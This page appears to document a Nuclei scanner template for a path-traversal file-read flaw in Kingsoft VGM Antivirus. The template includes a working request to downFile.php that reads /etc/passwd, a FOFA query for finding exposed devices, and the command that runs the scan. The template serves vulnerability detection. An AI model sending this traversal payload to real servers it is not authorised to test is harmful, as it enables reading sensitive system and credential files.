Skip to content

Kingsoft VGM Antivirus - Arbitrary File Read

ID: kingsoft-vgm-lfi

Severity: high

Author: abbas.heybati

Tags: kingsoft,vgm,lfi

There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.

id: kingsoft-vgm-lfi
info:
name: Kingsoft VGM Antivirus - Arbitrary File Read
author: abbas.heybati
severity: high
description: |
There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
reference:
- https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
classification:
cpe: cpe:2.3:a:kingsoft:kingsoft_antivirus:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: kingsoft
product: kingsoft_antivirus
fofa-query: title="金山VGM防毒墙"
tags: kingsoft,vgm,lfi
http:
- method: GET
path:
- "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/force-download"
- type: status
status:
- 200
# digest: 4b0a0048304602210090bf218ee58d9498a11032eb5b7e5fea3b4225957b7eb98a87cfa781a2e081b10221009ada016bb2d573db53c343d040834a41c7c1e4a08628fa57ab514257c02af0c1:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/kingsoft-vgm-lfi.yaml"

View on Github